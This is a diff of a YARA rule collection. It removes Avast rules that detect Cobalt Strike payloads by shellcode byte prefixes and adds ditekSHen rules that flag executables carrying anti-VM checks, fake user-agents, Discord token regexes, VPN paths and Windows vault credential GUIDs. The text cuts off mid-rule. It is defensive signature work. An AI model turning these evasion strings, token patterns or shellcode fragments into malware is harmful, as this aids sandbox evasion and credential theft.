+		$vb7 = "vboxmrxnp.dll" ascii wide
+		$vb8 = "vboxogl.dll" ascii wide
+		$vb9 = "vboxoglarrayspu.dll" ascii wide
+		$vb10 = "vboxoglcrutil.dll" ascii wide
+		$vb11 = "vboxoglerrorspu.dll" ascii wide
+		$vb12 = "vboxoglfeedbackspu.dll" ascii wide
+		$vb13 = "vboxoglpackspu.dll" ascii wide
+		$vb14 = "vboxoglpassthroughspu.dll" ascii wide
+		$vb15 = "vboxservice.exe" ascii wide
+		$vb16 = "vboxtray.exe" ascii wide
+		$vb17 = "VBoxControl.exe" ascii wide
+		$vp1 = "vmsrvc.sys" ascii wide
+		$vp2 = "vpc-s3.sys" ascii wide
+		$vw1 = "vmmouse.sys" ascii wide
+		$vw2 = "vmnet.sys" ascii wide
+		$vw3 = "vmxnet.sys" ascii wide
+		$vw4 = "vmhgfs.sys" ascii wide
+		$vw5 = "vmx86.sys" ascii wide
+		$vw6 = "hgfs.sys" ascii wide
 
 	condition:
-		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x015b)==0x00006b00 and uint32(@h01+0x0179)==0xe000df00 and uint32(@h01+0x01ad)==0x67003700 and uint32(@h01+0x01bf)==0xff003800 and uint32(@h01+0x01d3)==0xe1003b00 and uint32(@h01+0x01e5)==0x61004d00 and uint32(@h01+0x01f7)==0x5600a200 and uint32(@h01+0x0211)==0x5f00c800 and uint32(@h01+0x0237)==0xe5005300 and uint32(@h01+0x0253)==0x5f00c800 and uint32(@h01+0x027d)==0x61004d00
+		uint16(0)==0x5a4d and ((2 of ($p*) and (2 of ($vb*) or 2 of ($vp*) or 2 of ($vw*))) or (2 of ($vb*) and (2 of ($p*) or 2 of ($vp*) or 2 of ($vw*))) or (2 of ($vp*) and (2 of ($p*) or 2 of ($vb*) or 2 of ($vw*))) or (2 of ($vw*) and (2 of ($p*) or 2 of ($vb*) or 2 of ($vp*))))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X64_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Nonewindowsua : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "bd52fb44-379a-5c82-9c7c-b10c8080b53f"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L398-L418"
-		license_url = "N/A"
-		logic_hash = "cdd8e0c9bdaf8d7662a118964abdea8eaea6c0e17fe1f20a80497c0c43d496d6"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects Windows executables referencing non-Windows User-Agents"
+		author = "ditekSHen"
+		id = "3bf62a67-4c21-5bcc-a356-424e798141f1"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1759-L1784"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "fb65643fd93ce4dbec0f98259b3dacda748a3f62f71258726073fdb3e354ab42"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+		$ua1 = "Mozilla/5.0 (Macintosh; Intel Mac OS" wide ascii
+		$ua2 = "Mozilla/5.0 (iPhone; CPU iPhone OS" ascii wide
+		$ua3 = "Mozilla/5.0 (Linux; Android " ascii wide
+		$ua4 = "Mozilla/5.0 (PlayStation " ascii wide
+		$ua5 = "Mozilla/5.0 (X11; " wide ascii
+		$ua6 = "Mozilla/5.0 (Windows Phone " ascii wide
+		$ua7 = "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" wide ascii
+		$ua8 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)" wide ascii
+		$ua9 = "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)" wide ascii
+		$ua10 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)" wide ascii
+		$ua11 = "Mozilla/5.0 (BlackBerry; U; BlackBerry " wide ascii
+		$ua12 = "Mozilla/5.0 (iPad; CPU OS" wide ascii
+		$ua13 = "Mozilla/5.0 (iPad; U;" ascii wide
+		$ua14 = "Mozilla/5.0 (IE 11.0;" ascii wide
+		$ua15 = "Mozilla/5.0 (Android;" ascii wide
+		$ua16 = "User-Agent: Internal Wordpress RPC connection" ascii wide
+		$ua17 = "Mozilla / 5.0 (SymbianOS" ascii wide
 
 	condition:
-		uint32(@h01+0x0203)==0x07002600 and uint32(@h01+0x0225)==0x00006b00 and uint32(@h01+0x025d)==0xe000df00 and uint32(@h01+0x0287)==0x67003700 and uint32(@h01+0x02a3)==0xff003800 and uint32(@h01+0x02c5)==0xe1003b00 and uint32(@h01+0x02e1)==0x61004d00 and uint32(@h01+0x0333)==0x5f00c800 and uint32(@h01+0x0373)==0xe5005300 and uint32(@h01+0x03a7)==0x5f00c800 and uint32(@h01+0x03df)==0x61004d00
+		uint16(0)==0x5a4d and 1 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X86_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Toomanywindowsua : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "321c1f3f-b7fc-5408-b460-6aa4423d381c"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L420-L437"
-		license_url = "N/A"
-		logic_hash = "5495405ef3a54c960cf27147dce0d25cb298fee84a99415b59bc548c4f64a1e6"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing many varying, potentially fake Windows User-Agents"
+		author = "ditekSHen"
+		id = "28dba61e-b2da-5708-b82f-a139d0929a7d"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1786-L1810"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a79ea9b8471148176c210fe834e7b2f0549291956489e2853235a75ea3e4e1db"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+		$ua1 = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" ascii wide
+		$ua2 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" ascii wide
+		$ua3 = "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0" ascii wide
+		$ua4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0" ascii wide
+		$ua5 = "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3" ascii wide
+		$ua6 = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)" ascii wide
+		$ua7 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" ascii wide
+		$ua8 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)" ascii wide
+		$ua9 = "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00" ascii wide
+		$ua10 = "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14" ascii wide
+		$ua11 = "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14" ascii wide
+		$ua12 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14" ascii wide
+		$ua13 = "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02" ascii wide
+		$ua14 = "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00" ascii wide
+		$ua15 = "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00" ascii wide
+		$ua16 = "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7" ascii wide
+		$ua17 = "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" ascii wide
 
 	condition:
-		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x015b)==0x00006b00 and uint32(@h01+0x0179)==0xe000df00 and uint32(@h01+0x01ad)==0x61007400 and uint32(@h01+0x01cd)==0x5600a200 and uint32(@h01+0x01e7)==0x5f00c800 and uint32(@h01+0x020d)==0xe5005300 and uint32(@h01+0x0229)==0x5f00c800
+		uint16(0)==0x5a4d and 5 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X64_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_VM_Evasion_Macaddrcomb : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "1cc2494c-1f39-5a72-93af-c267eaf768fe"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L439-L456"
-		license_url = "N/A"
-		logic_hash = "d7e8fe5d2e07b7a85fadaa432bf345231ac4ddac5458167431403ddfe05467fc"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing virtualization MAC addresses"
+		author = "ditekSHen"
+		id = "7e399d31-090a-57f7-89fa-0a2c4e563283"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1812-L1827"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "53a87bffc327c38545d9f213834726af9a1fbe86f273e189dc355567e6a671bf"
+		score = 40
+		quality = 29
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+		$s1 = "00:03:FF" ascii wide nocase
+		$s2 = "00:05:69" ascii wide nocase
+		$s3 = "00:0C:29" ascii wide nocase
+		$s4 = "00:16:3E" ascii wide nocase
+		$s5 = "00:1C:14" ascii wide nocase
+		$s6 = "00:1C:42" ascii wide nocase
+		$s7 = "00:50:56" ascii wide nocase
+		$s8 = "08:00:27" ascii wide nocase
 
 	condition:
-		uint32(@h01+0x0203)==0x07002600 and uint32(@h01+0x0225)==0x00006b00 and uint32(@h01+0x025d)==0xe000df00 and uint32(@h01+0x0287)==0x61007400 and uint32(@h01+0x02d9)==0x5f00c800 and uint32(@h01+0x0319)==0xe5005300 and uint32(@h01+0x034d)==0x5f00c800 and uint32(@h01+0x0385)==0x61004d00
+		uint16(0)==0x5a4d and 3 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X86_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Discord_Regex : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "c1602e85-5b42-5005-a6d1-7140cb57a3c7"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L458-L478"
-		license_url = "N/A"
-		logic_hash = "b6e19ee9141aa22d73de6d8145257eba7b3b2bb2edc0996591085c84f242ec87"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing Discord tokens regular expressions"
+		author = "ditekSHen"
+		id = "4c508cae-bb25-549b-8f35-a6a22928a9a3"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1890-L1898"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "b6be1dd8e25311442a59ee2afbd99f6e9663dd06919c07269b76238af0bbd5f2"
+		score = 40
+		quality = 43
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+		$s1 = "[a-zA-Z0-9]{24}\\.[a-zA-Z0-9]{6}\\.[a-zA-Z0-9_\\-]{27}|mfa\\.[a-zA-Z0-9_\\-]{84}" ascii wide nocase
 
 	condition:
-		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x0157)==0xa7007900 and uint32(@h01+0x018f)==0xc6009f00 and uint32(@h01+0x01bf)==0x3b002e00 and uint32(@h01+0x01e7)==0x7b001800 and uint32(@h01+0x0219)==0x5d00e200 and uint32(@h01+0x022b)==0x31005e00 and uint32(@h01+0x0249)==0x0b00e000 and uint32(@h01+0x058b)==0x5600a200 and uint32(@h01+0x05b3)==0xe5005300 and uint32(@h01+0x05e9)==0xe2008900
+		( uint16(0)==0x5a4d and all of them ) or all of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X64_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_VPN : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "78672e3b-6f76-573a-8a9a-610334baa389"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L480-L497"
-		license_url = "N/A"
-		logic_hash = "f88378749f0da0c66d66b917eeb11a56f083bb487c19c22a230dee4f50e1e309"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing many VPN software clients. Observed in infosteslers"
+		author = "ditekSHen"
+		id = "301977a8-0619-50a2-a718-78ff9e039e65"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1900-L1914"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5bef727d3c6fa7ea01c16e7b1fdf146b4cef58c06189bf8540bbfe7915790578"
+		score = 40
+		quality = 31
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+		$s1 = "\\VPN\\NordVPN" ascii wide nocase
+		$s2 = "\\VPN\\OpenVPN" ascii wide nocase
+		$s3 = "\\VPN\\ProtonVPN" ascii wide nocase
+		$s4 = "\\VPN\\DUC\\" ascii wide nocase
+		$s5 = "\\VPN\\PrivateVPN" ascii wide nocase
+		$s6 = "\\VPN\\PrivateVPN" ascii wide nocase
+		$s7 = "\\VPN\\EarthVPN" ascii wide nocase
 
 	condition:
-		uint32(@h01+0x01d5)==0x07002600 and uint32(@h01+0x0205)==0xa7007900 and uint32(@h01+0x0243)==0xc6009f00 and uint32(@h01+0x0281)==0x3b002e00 and uint32(@h01+0x02c9)==0x7b001800 and uint32(@h01+0x0613)==0x5600a200 and uint32(@h01+0x064b)==0xe5005300 and uint32(@h01+0x0687)==0xe2008900
+		uint16(0)==0x5a4d and 3 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X86_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Vaultschemaguid : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "dcd3e5c8-7626-5a78-9f90-7a8e67311d90"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L499-L520"
-		license_url = "N/A"
-		logic_hash = "5003ebd545182bb105cdcaaac2105a92cdd99a0178c24eb5ae2888232897aeb5"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing Windows vault credential objects. Observed in infostealers"
+		author = "ditekSHen"
+		id = "440ac8a8-19c9-5284-a8e2-e0f2e8892a5e"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1930-L1953"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "121a51bbb749cc86d50fd5f79d7a24fbbb3e589e2fb25c553764a16202ff4065"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+		$s1 = "2F1A6504-0641-44CF-8BB5-3612D865F2E5" ascii wide
+		$s2 = "3CCD5499-87A8-4B10-A215-608888DD3B55" ascii wide
+		$s3 = "154E23D0-C644-4E6F-8CE6-5069272F999F" ascii wide
+		$s4 = "4BF4C442-9B8A-41A0-B380-DD4A704DDB28" ascii wide
+		$s5 = "77BC582B-F0A6-4E15-4E80-61736B6F3B29" ascii wide
+		$s6 = "E69D7838-91B5-4FC9-89D5-230D4D4CC2BC" ascii wide
+		$s7 = "3E0E35BE-1B77-43E7-B873-AED901B6275B" ascii wide
+		$s8 = "3C886FF3-2669-4AA2-A8FB-3F6759A77548" ascii wide
 
 	condition:
-		uint32(@h01+0x013b)==0x07002600 and uint32(@h01+0x0161)==0xa7007900 and uint32(@h01+0x0199)==0xc6009f00 and uint32(@h01+0x01d1)==0x3b002e00 and uint32(@h01+0x0203)==0x86009e00 and uint32(@h01+0x0223)==0x7b001800 and uint32(@h01+0x0255)==0x5d00e200 and uint32(@h01+0x0267)==0x31005e00 and uint32(@h01+0x0285)==0x0b00e000 and uint32(@h01+0x05d5)==0x5600a200 and uint32(@h01+0x05fd)==0xe5005300 and uint32(@h01+0x0633)==0xe2008900
+		uint16(0)==0x5a4d and 4 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X64_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Antivm_UNK01 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "aa93dd56-9589-5958-9711-ca2f9c763665"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L522-L540"
-		license_url = "N/A"
-		logic_hash = "dee3eb3353da0179c58a33c3be0af6ad1e6aa9f13e9e6b9821c94f11d209266f"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects memory artifacts referencing specific combination of anti-VM checks"
+		author = "ditekSHen"
+		id = "57344ff4-5204-535a-a128-0f9f7eb7c760"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1955-L1977"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "c34b23e26df0d33d60cf87e406dfbc90f9fd6df0da4415b6622d477cf38bc024"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+		$s1 = "vmci.s" fullword ascii wide
+		$s2 = "vmmemc" fullword ascii wide
+		$s3 = "qemu-ga.exe" fullword ascii wide
+		$s4 = "qga.exe" fullword ascii wide
+		$s5 = "windanr.exe" fullword ascii wide
+		$s6 = "vboxservice.exe" fullword ascii wide
+		$s7 = "vboxtray.exe" fullword ascii wide
+		$s8 = "vmtoolsd.exe" fullword ascii wide
+		$s9 = "prl_tools.exe" fullword ascii wide
+		$s10 = "7869.vmt" fullword ascii wide
+		$s11 = "qemu" fullword ascii wide
+		$s12 = "virtio" fullword ascii wide
+		$s13 = "vmware" fullword ascii wide
+		$s14 = "vbox" fullword ascii wide
+		$s15 = "%systemroot%\\system32\\ntdll.dll" fullword ascii wide
 
 	condition:
-		uint32(@h01+0x01d5)==0x07002600 and uint32(@h01+0x0205)==0xa7007900 and uint32(@h01+0x0249)==0xc6009f00 and uint32(@h01+0x0287)==0x3b002e00 and uint32(@h01+0x02db)==0x86009e00 and uint32(@h01+0x030f)==0x7b001800 and uint32(@h01+0x0659)==0x5600a200 and uint32(@h01+0x0691)==0xe5005300 and uint32(@h01+0x06cd)==0xe2008900
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Payload_Encoded
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Antivm_WMIC : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "b5176740-2dda-5e5d-8c0f-47a27846753d"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L542-L593"
-		license_url = "N/A"
-		logic_hash = "03c650b3c1797c03c635e25ea9d1d4589c6a4b31da0a3e48631fa16d0e3a342b"
-		score = 75
-		quality = 68
-		tags = ""
+		description = "Detects memory artifacts referencing WMIC commands for anti-VM checks"
+		author = "ditekSHen"
+		id = "f7166171-15b7-5e11-bbec-355764e58caa"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1979-L1989"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "2c26ea8b008bf9cb4d8e24c909a3c6f5d67783b483747268f949fadc3fa72532"
+		score = 40
+		quality = 39
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s01 = "0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b" ascii wide nocase
-		$s02 = "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b" ascii wide nocase
-		$s03 = "0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51" ascii wide nocase
-		$s04 = "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51" ascii wide nocase
-		$s05 = "fce8890000006089e531d2648b52308b" ascii wide nocase
-		$s06 = "fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b" ascii wide nocase
-		$s07 = "fc4883e4f0e8c8000000415141505251" ascii wide nocase
-		$s08 = "fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 52 51" ascii wide nocase
-		$s09 = "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJX" ascii wide
-		$s10 = "/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA" ascii wide
-		$s11 = "38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0" ascii wide
-		$s12 = "32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLj" ascii wide
-		$s13 = "/ADoAIkAAAAAAAAAYACJAOUAMQDSAGQAiwBSADAAiwBSAAwAiwBSABQAiwByACg" ascii wide
-		$s14 = "/ABIAIMA5ADwAOgAyAAAAAAAAABBAFEAQQBQAFIAUQBWAEgAMQDSAGUASACLAFI" ascii wide
-		$s15 = "3yPLI6ojIyMjIyMjQyOqI8YjEiPxI0cjqCNxIxMjqCNxIy8jqCNxIzcjqCNRIwsj" ascii wide
-		$s16 = "3yNrI6AjxyPTI8sj6yMjIyMjIyNiI3IjYiNzI3EjciN1I2sjEiPxI0YjayOoI3Ej" ascii wide
-		$s17 = "Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117" ascii wide
-		$s18 = "Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117" ascii wide
-		$s19 = "Array(-4,72,-125,-28,-16,-24,-56,0,0,0,65,81,65,80,82,81" ascii wide
-		$s20 = "Array(-4, 72, -125, -28, -16, -24, -56, 0, 0, 0, 65, 81, 65, 80, 82, 81" ascii wide
-		$s21 = "Chr(-4)&Chr(-24)&Chr(-119)&Chr(0)&Chr(0)&Chr(0)&Chr(96)&Chr(-119)&Chr(-27)&\"1\"&Chr(-46)&\"d\"&Chr(-117)&\"R0\"&Chr(-117)" ascii wide
-		$s22 = "Chr(-4)&\"H\"&Chr(-125)&Chr(-28)&Chr(-16)&Chr(-24)&Chr(-56)&Chr(0)&Chr(0)&Chr(0)&\"AQAPRQVH" ascii wide
-		$s23 = "\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b" ascii wide nocase
-		$s24 = "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51" ascii wide nocase
+		$s1 = "wmic process where \"name like '%vmwp%'\"" ascii wide nocase
+		$s2 = "wmic process where \"name like '%virtualbox%'\"" ascii wide nocase
+		$s3 = "wmic process where \"name like '%vbox%'\"" ascii wide nocase
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and 2 of them
 }
-rule AVASTTI_Cobaltstrike_Strike_Payload_Xored
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Enablesmbv1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "0e075644-e278-5c5b-bdcc-dc2d6a32ce73"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L595-L613"
-		license_url = "N/A"
-		logic_hash = "532cf38554ad7211fab74d050007f6fe8d63c20e05f21a6737fff12ac92a81d7"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects binaries with PowerShell command enabling SMBv1"
+		author = "ditekSHen"
